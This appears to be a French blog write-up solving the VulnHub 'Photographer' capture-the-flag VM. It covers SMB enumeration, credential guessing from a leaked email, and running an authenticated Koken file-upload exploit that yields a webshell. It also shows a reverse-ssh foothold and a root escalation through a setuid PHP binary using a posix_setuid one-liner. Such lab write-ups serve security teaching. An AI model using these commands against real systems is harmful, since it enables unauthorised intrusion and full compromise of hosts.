Accueil Solution du CTF Photographer de VulnHub
Post
Annuler

Solution du CTF Photographer de VulnHub

Photographer est un boot2root créé par v1n1v131r4 et téléchargeable sur VulnHub.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Nmap scan report for 192.168.242.128
Host is up (0.00053s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Photographer by v1n1v131r4
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8000/tcp open  http        Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: Koken 0.22.24
|_http-title: daisa ahomi
MAC Address: 00:0C:29:27:57:E7 (VMware)
Service Info: Hosts: PHOTOGRAPHER, example.com

Host script results:
|_clock-skew: mean: 2h39m59s, deviation: 2h53m12s, median: 59m59s
|_nbstat: NetBIOS name: PHOTOGRAPHER, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-time: 
|   date: 2022-11-19T21:53:38
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: photographer
|   NetBIOS computer name: PHOTOGRAPHER\x00
|   Domain name: \x00
|   FQDN: photographer
|_  System time: 2022-11-19T16:53:37-05:00

Talkie Talkie

On peut récupérer quelques partages via smbclient :

1
2
3
4
5
6
7
8
$ smbclient -U "" -N -L //192.168.242.128

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        sambashare      Disk      Samba on Ubuntu
        IPC$            IPC       IPC Service (photographer server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

Il y a deux fichiers que l’on peut récupérer :

1
2
3
4
5
6
7
8
9
smbclient -U "" -N //192.168.242.128/sambashare
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Jul 21 03:30:07 2020
  ..                                  D        0  Tue Jul 21 11:44:25 2020
  mailsent.txt                        N      503  Tue Jul 21 03:29:40 2020
  wordpress.bkp.zip                   N 13930308  Tue Jul 21 03:22:23 2020

                278627392 blocks of size 1024. 264268400 blocks available

Le premier est un mail d’un certain Agi pour Daisa :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Message-ID: <4129F3CA.2020509@dc.edu>
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence <agi@photographer.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi <daisa@photographer.com>
Subject: To Do - Daisa Website's
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Daisa!
Your site is ready now.
Don't forget your secret, my babygirl ;)

Le second est une archive de Wordpress mais il n’y a pas le wp-config.php dedans.

Patting myself on the back

Sur le port 8000 je trouve le CMS Koken, une appli web déjà croisée sur le CTF The Office: Doomsday Device de VulnHub. Il semble s’agir du site de Daisa Ahomi.

Le site fait mention d’un fichier shell.php qui a du être uploadé comme si c’était une image. L’URL du fichier est facile à obtenir mais la page retourne le message suivant :

WARNING: Failed to daemonise. This is quite common and not fatal. Network is unreachable (101)

Après recherche le fichier utilisé semble être pentestmonkey/php-reverse-shell · GitHub. Ce script se base sur une adresse IP et un port hardcodé donc on ne peut rien faire avec.

Juste à l’intuition je trouve que l’interface admin du Koken est à l’adresse /admin et qu’on peut se connecter avec les identifiants daisa@photographer.com / babygirl.

Petite auto-tape dans le dos puisque sur le précédent CTF j’avais codé un exploit pour la faille d’upload arbitraire sur le Koken du coup ici je n’ai qu’à exécuter :

1
2
3
4
5
6
$ python3 koken_exploit.py http://192.168.242.128:8000/ daisa@photographer.com babygirl
Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
-- devl00p.github.io 2022 --
Successfully authenticated as daisa ahomi
Enjoy your shell at http://192.168.242.128:8000//storage/originals/f6/70/eubfyyiektheoqhlbobx.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Je rapatrie un reverse-ssh sur la VM. Le firewall semble filtrer des ports sortants mais ça fonctionne avec le port 80 (et sinon, les ports entrants de la VM ne sont pas filtrés).

Dans le dossier personnel de daisa se trouve le premier flag :

1
2
www-data@photographer:/home/daisa$ cat user.txt 
d41d8cd98f00b204e9800998ecf8427e

L’exécutable php est setuid root sur le système :

-rwsr-xr-x 1 root root 4883680 Jul  9  2020 /usr/bin/php7.2

L’exécutable donne bien l’effective UID 0 du moment qu’on reste dans PHP :

1
2
$ php -r "print(posix_getuid(). ' '. posix_geteuid());"
33 0

Si on exécute autre chose, c’est droppé :

1
2
$ php -r "system('id');"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Pour ça il faut explicitement écraser l’UID et le GID :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ php -r "posix_setuid(0); posix_setgid(0); system('dash -i');"
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# cd /root
# ls
proof.txt
# cat proof.txt
                                                                   
                                .:/://::::///:-`                                
                            -/++:+`:--:o:  oo.-/+/:`                            
                         -++-.`o++s-y:/s: `sh:hy`:-/+:`                         
                       :o:``oyo/o`. `      ```/-so:+--+/`                       
                     -o:-`yh//.                 `./ys/-.o/                      
                    ++.-ys/:/y-                  /s-:/+/:/o`                    
                   o/ :yo-:hNN                   .MNs./+o--s`                   
                  ++ soh-/mMMN--.`            `.-/MMMd-o:+ -s                   
                 .y  /++:NMMMy-.``            ``-:hMMMmoss: +/                  
                 s-     hMMMN` shyo+:.    -/+syd+ :MMMMo     h                  
                 h     `MMMMMy./MMMMMd:  +mMMMMN--dMMMMd     s.                 
                 y     `MMMMMMd`/hdh+..+/.-ohdy--mMMMMMm     +-                 
                 h      dMMMMd:````  `mmNh   ```./NMMMMs     o.                 
                 y.     /MMMMNmmmmd/ `s-:o  sdmmmmMMMMN.     h`                 
                 :o      sMMMMMMMMs.        -hMMMMMMMM/     :o                  
                  s:     `sMMMMMMMo - . `. . hMMMMMMN+     `y`                  
                  `s-      +mMMMMMNhd+h/+h+dhMMMMMMd:     `s-                   
                   `s:    --.sNMMMMMMMMMMMMMMMMMMmo/.    -s.                    
                     /o.`ohd:`.odNMMMMMMMMMMMMNh+.:os/ `/o`                     
                      .++-`+y+/:`/ssdmmNNmNds+-/o-hh:-/o-                       
                        ./+:`:yh:dso/.+-++++ss+h++.:++-                         
                           -/+/-:-/y+/d:yh-o:+--/+/:`                           
                              `-///////////////:`                               
                                                                                

Follow me at: http://v1n1v131r4.com


d41d8cd98f00b204e9800998ecf8427e

Publié le 19 novembre 2022

Cet article est sous licence CC BY 4.0 par l'auteur.